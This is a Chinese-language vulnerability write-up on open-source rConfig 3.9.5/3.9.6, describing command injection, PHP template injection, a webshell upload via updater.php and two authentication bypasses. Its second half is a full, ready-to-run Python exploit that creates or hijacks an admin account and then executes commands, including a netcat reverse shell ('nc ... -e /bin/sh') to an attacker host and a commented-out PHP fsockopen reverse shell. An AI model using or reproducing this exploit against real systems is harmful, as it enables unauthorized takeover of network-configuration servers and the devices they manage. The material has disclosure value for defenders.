漏洞概述
rConfig是一款开源的网络设备配置管理实用工具,在rConfig的帮助下,网络工程师可以快速、频繁地管理网络设备的快照。
但是研究人员近期在rConfig中发现了两个未经身份验证的远程RCE漏洞。其中一个漏洞允许未经认证的用户实现身份验证,而另一个漏洞则允许经过认证的攻击者在目标设备上实现任意代码执行。
受影响系统
rConfig v3.96及其之前版本。
厂商回应
厂商最初的反应非常迅速,并且立刻发布了一个更新版本(v3.9.6),我们最初是在v3.9.5上验证了该漏洞。但是我们发现,v3.9.6版本中同样存在安全漏洞,并将此情况反应给了厂商。目前为止,我们还不知道有没有安全补丁能够解决或缓解这两个漏洞所带来的影响。
漏洞分析
ajaxArchiveFiles.php RCE
在文件/home/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php中,有一个ext参数,这里存在一个命令盲注漏洞:
攻击者可以发送下列请求内容来触发这个漏洞:
ajaxEditTemplate.php RCE
第二个远程代码执行漏洞存在于rConfig的链接模板配置页面中,在这里,攻击者将有可能在文件中注入PHP代码,并调用../www/test.php。此时,攻击者将能够从外网访问到这个文件,如果目标文件名不是以.yml为后缀的话,rConfig会自动添加该后缀,因此攻击者将能够通过https://rconfig/test.php.yml来调用或访问test.php文件。
updater.php RCE
第三个RCE漏洞存在于https://rconfig/updater.php?chk=1中,因为updater.php中缺少必要的验证机制,如果我们获取一个真正的rConfig ZIP并添加一个PHP WebShell到这个ZIP中,然后上传并安装的话,我们将会发现,程序中会出现一个新的管理员凭证,即admin:admin,这个WebShell就很Nice!
userprocess.php身份认证绕过
第一个认证绕过漏洞存在于/home/rconfig/www/lib/crud/userprocess.php的注册函数中,由于这里没有要求强制进行身份验证,所以我们可以创建我们自己的管理员用户了(ulevelid = 9):
useradmin.inc.php身份认证绕过
第二个认证绕过漏洞同样存在于刚才那个文件之中,通过利用https://rconfig/useradmin.inc.php中的信息泄露问题,我们可以知道rConfig实例中存在的用户凭证,这样我们就可以更新账号的配置,其中也包括密码:
漏洞利用代码
import requests from requests_toolbelt.multipart.encoder import MultipartEncoder import urllib3 import re #from bs4 import BeautifulSoup urllib3.disable_warnings() url="https://x.x.x.x/" #change this to fit your URL (adding the last slash) payload="nc y.y.y.y 9001 -e /bin/sh" #change this to whatever payload you want payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlencoded payload as the value of the code parameter print("Connecting to: {}".format(url)) print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload)) x = requests.get(url+"login.php", verify=False) version = re.search("<p>(.*)<span>", x.text) version = version.group(1) if version == "rConfig Version 3.9.5": print("Version 3.9.5 confirmed") else: print("Version is "+version+ " it may not be vulnerable") payload_final=";"+payload referer=url+"useradmin.php" origin=url proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} #in case you need to debug the exploit with Burp, add ', proxies=proxies' to any request def createuser(): multipart_data = MultipartEncoder( fields={ 'username': 'test', 'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol 'passconf': 'Testing1@', 'email': 'test@test.com', 'ulevelid': '9', 'add': 'add', 'editid': '' } ) headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin} cookies = {'PHPSESSID': 'test'} response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False) if "error" not in response.text: print("(+) User test created") else: print("(-) User couldn't be created, please debug the exploit") def exploit(): payload = { 'user': 'test', 'pass': 'Testing1@', 'sublogin': '1' } with requests.Session() as s: p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False) if "Stephen Stack" in p.text: print("(-) Exploit failed, could not login as user test") else: print("(+) Log in as test completed") params = {'path':'test', 'ext': payload_final } rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params) if "success" in rce.text: print("(+) Payload executed successfully") else: print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, ignore this message payload = { 'user': 'admin', 'pass': 'Testing1@', 'sublogin': '1' } with requests.Session() as s: p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False) if "Stephen Stack" in p.text: print("(-) Exploit failed, could not login as user test") else: print("(+) Log in as test completed") params = {'path':'test', 'ext': payload_final } rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params) if "success" in rce.text: print("(+) Payload executed successfully") else: print("(-) Error when executing payload, please debug the exploit") def user_enum_update(): users=requests.get(url+'useradmin.inc.php', verify=False) #matchObj = re.findall(r'<td align="center">(.*?)</td>', users.text, re.M|re.I|re.S) if "admin" in users.text: print("(+) The admin user is present in this rConfig instance") multipart_data = MultipartEncoder( fields={ 'username': 'admin', 'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol 'passconf': 'Testing1@', 'email': 'admin@admin.com', 'ulevelid': '9', 'add': 'add', 'editid': '1' #you may need to increment this if you want to reset the password of a different user } ) headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin} cookies = {'PHPSESSID': 'test'} response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False) if "error" not in response.text: print("(+) The new password for the admin user is Testing1@") else: print("(-) Admin user couldn't be edited, please debug the exploit") elif "Admin" in users.text: print("(+) There is at least one Admin user, check "+ str(url)+"useradmin.inc.php manually and modify the exploit accordingly (erase the if-elif statements of this function and modify the user payload)") def template(): payload = { 'user': 'admin', 'pass': 'Testing1@', 'sublogin': '1' } #<%3fphp+%24sock%3Dfsockopen%28%22192.168.1.13%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%3f> headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origin":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"} with requests.Session() as s: p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False) if "Stephen Stack" in p.text: print("(-) Exploit failed, could not login as user test") else: print("(+) Log in as admin completed") rce=s.post(url+'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload_rce, headers=headers_rce) if "success" in rce.text: print("(+) File created") rce_req = s.get(url+'test.php.yml', verify=False) print("(+) Command results: ") print(rce_req.text) else: print("(-) Error when executing payload, please debug the exploit") def main(): print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón") print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;)") print("Note: preferred method for auth bypass is 1, because it is less 'invasive'") print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine") print('''Choose method for authentication bypass: 1) User creation 2) User enumeration + User edit ''') auth_bypass=str(input("Method>")) if auth_bypass == "1": createuser() elif auth_bypass == "2": user_enum_update() print('''Choose method for RCE: 1) Unsafe call to exec() 2) Template edit ''') rce_method=str(input("Method>")) if rce_method == "1": exploit() elif rce_method == "2": template() main()